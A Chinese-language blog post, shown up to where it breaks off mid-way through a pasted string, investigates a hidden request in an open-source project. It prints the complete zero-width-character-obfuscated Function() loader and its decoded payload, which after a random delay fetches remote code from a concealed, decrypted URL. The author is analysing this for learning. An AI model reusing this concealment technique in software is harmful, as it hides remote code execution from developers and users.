一個空字符串引起的學習

在研究某開源項目時,頁面一直在請求一個URL,代碼翻了個遍也沒找到在哪裏請求的,經過不斷的斷點調試,終於找到的了發送請求的代碼,代碼如下:

Function("‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‌‌‍‍‍‌‍‌‌‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‍‍‌‍‌‍‌‌‍‍‍‍‌‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‌‍‍‌‌‌‍‍‌‍‌‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‌‌‍‍‌‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‍‍‍‍‍‌‍‌‌‍‍‍‍‍‌‌‍‌‌‍‍‌‍‍‍‌‍‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‌‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‌‌‍‌‍‍‌‍‍‍‍‌‍‌‍‌‍‌‍‌‍‍‌‍‌‍‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‍‌‌‌‍‍‌‍‌‌‍‌‌‍‌‍‌‍‌‍‍‍‌‍‌‍‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‍‍‍‌‌‍‌‍‍‍‌‌‌‌‍‍‍‍‌‌‍‌‍‍‌‍‌‍‌‍‌‌‌‍‌‍‌‍‌‌‍‍‍‌‍‌‌‍‌‍‌‍‌‍‍‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‍‍‍‍‌‍‍‍‌‌‌‍‌‍‌‍‌‍‌‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‍‌‌‌‌‌‍‌‍‍‍‌‌‍‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‌‍‍‌‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‌‍‍‍‌‍‌‌‍‍‌‍‌‍‍‌‍‌‌‍‌‌‌‍‌‍‌‍‌‌‌‌‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‌‍‌‍‍‌‍‍‌‍‍‌‍‍‌‌‌‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‍‌‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‌‌‌‍‍‍‌‌‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‌‍‌‍‌‍‌‍‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‍‌‍‌‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g, function(u) {
	return String.fromCharCode(parseInt(u.replace(/\u200c/g, 1).replace(/\u200d/g, 0), 2));
})();

上面的代碼Function中會動態生成如下內容並執行

setTimeout(function(){try{if(typeof dialog_tpl_html=="undefined"||dialog_tpl_html.search("update_box")==-1){var a=authCrypt.decode("5ff1d61Xb200NQts33gKzUvZpX6DpW5kn-iEDxoHUJhV9mQFuRZ4xiWV-RgPGU3ty_FtUeBlYKuxTJI9Yt24FN9h1mTxAz4","_32@!A")+UUID();require.async(a,function(a){try{a.todo("2-1");}catch(a){}});}}catch(a){}},parseInt(Math.random()*70+30)*1000);

簡單整理了下過程,還是不太明白

var temp = "‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‌‌‍‍‍‌‍‌‌‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‍‍‌‍‌‍‌‌‍‍‍‍‌‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‌‍‍‌‌‌‍‍‌‍‌‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‌‌‍‍‌‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‍‍‍‍‍‌‍‌‌‍‍‍‍‍‌‌‍‌‌‍‍‌‍‍‍‌‍‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‌‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‌‌‍‌‍‍‌‍‍‍‍‌‍‌‍‌‍‌‍‌‍‍‌‍‌‍‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‍‌‌‌‍‍‌‍‌‌‍‌‌‍‌‍‌‍‌‍‍‍‌‍‌‍‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‍‍‍‌‌‍‌‍‍‍‌‌‌‌‍‍‍‍‌‌‍‌‍‍‌‍‌‍‌‍‌‌‌‍‌‍‌‍‌‌‍‍‍‌‍‌‌‍‌‍‌‍‌‍‍‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‍‍‍‍‌‍‍‍‌‌‌‍‌‍‌‍‌‍‌‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‍‌‌‌‌‌‍‌‍‍‍‌‌‍‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‌‍‍‌‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‌‍‍‍‌‍‌‌‍‍‌‍‌‍‍‌‍‌‌‍‌‌‌‍‌‍‌‍‌‌‌‌‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‌‍‌‍‍‌‍‍‌‍‍‌‍‍‌‌‌‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‍‌‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‌‌‌‍‍‍‌‌‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‌‍‌‍‌‍‌‍‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‍‌‍‌‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g, function(u) {  //此處會執行356次,與生成的代碼字符串長度一致
    var u1 = u;   //此處一直是""
    var u2 = u1.replace(/\u200c/g, 1);//此處replace後會產生都爲1的字符串,但長度每次不一樣
    var u3 = u2.replace(/\u200d/g, 0);//此處replace後會產生目標代碼字符的二進制值
    var u4 = parseInt(u3, 2); //2進制轉10進制
    var u5 = String.fromCharCode(u4); //將 Unicode編碼轉爲一個字符
    return u5;
});
console.log(temp);

自己打斷點調試了幾遍,發現上面的代碼最關鍵的步驟是第3和第4行代碼,每次都是“”的字符串replace後會產生都爲1的字符串,但長度每次不一樣(這個地方相當幽靈),雖然不太清除具體執行邏輯,但直覺告訴我此處一定與JS的字符編碼相關。

一番百度、谷歌後發現都搜索不到相關資料,沒有一點頭緒,但在搜索過程中我發現了一個端倪,直接粘貼(Function("‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‌‌‍‍‍‌‍‌‌‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‍‍‌‍‌‍‌‌‍‍‍‍‌‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‌‍‍‌‌‌‍‍‌‍‌‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‌‌‍‍‌‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‍‍‍‍‍‌‍‌‌‍‍‍‍‍‌‌‍‌‌‍‍‌‍‍‍‌‍‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‌‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‌‌‍‌‍‍‌